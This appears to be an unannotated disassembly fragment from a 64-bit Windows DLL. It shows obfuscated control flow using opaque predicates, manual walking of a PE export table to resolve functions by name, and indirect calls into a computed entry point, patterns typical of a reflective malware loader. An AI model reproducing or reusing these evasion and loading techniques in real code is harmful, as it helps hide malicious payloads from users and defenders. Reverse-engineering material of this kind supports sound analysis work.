mov qword [r14], rax
mov eax, dword [0x180020a78]
mov ecx, dword [0x180020a74]
cmp ecx, 0xa
jl 0x1800021b6
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800021b6
mov rcx, qword [rsp + 0x40]
call fcn.1800024d0
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x1800022fe
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023b5
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000232c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800023b9
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov edi, dword [rdx]
add rdi, rsi
mov rbp, qword [rsp + 0x68]
movzx eax, byte [rbp]
movzx ebx, byte [rdi]
test al, al
je 0x18000235e
add rbp, 1
add rdi, 1
cmp al, bl
je 0x180002347
cmp al, bl
je 0x18000236c
add rdx, 4
add rcx, 2
jmp 0x18000233d
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r15
mov rdx, qword [rsp + 0x60]
call rsi
mov qword [r14], rax
jmp 0x1800021ff
add qword [rsp + 0x48], 0x14
cmp ecx, 0xa
jl 0x180001ff9
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001ff9
jmp 0x180001fd7
jmp 0x1800023ab
jmp 0x1800023ad
jmp 0x1800023af
jmp 0x1800023b1
jmp 0x1800023b3
jmp 0x1800023b5
jmp 0x1800023b7
jmp 0x1800023b9
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
add rax, r12
call rax
cmp dword [0x180020a74], 0xa
jl 0x180002414
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002414
mov rsi, qword [rsp + 0x50]
mov eax, dword [rsi + 0x28]
mov rdi, r12
add rax, r12
call rax
mov eax, dword [rsi + 0x28]
add rax, r12
call rax
cmp dword [0x180020a74], 0xa
jl 0x180002414
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023e7
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002430
mov byte [rsp + 0x3e], al
mov ebp, dword [0x180020a6c]
mov edx, dword [0x180020a70]
lea ecx, [rbp - 1]
imul ecx, ebp
and ecx, 1
cmp edx, 0xa
jl 0x18000245a
test ecx, ecx
je 0x18000245a
mov byte [rsp + 0x3e], al
jmp 0x180002432
mov al, byte [0x180004003]
cmp edx, 0xa
jl 0x180002469
test ecx, ecx
jne 0x18000248b
mov byte [rsp + 0x3f], al
mov ebp, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rbp - 1]
imul edx, ebp
and edx, 1
cmp ecx, 0xa
jl 0x180002491
test edx, edx
je 0x180002491
mov byte [rsp + 0x3f], al
jmp 0x180002469
mov eax, dword [0x180020a78]
lea ebp, [rax - 1]
imul ebp, eax
test bpl, 1
sete al
cmp dword [0x180020a74], 0xa
setl r8b
or r8b, al
cmp r8b, 1
jne 0x180002430
mov r15d, dword [rsp + 0x3c]
xor ebx, ebx
lea r12, section..data
jmp 0x180001120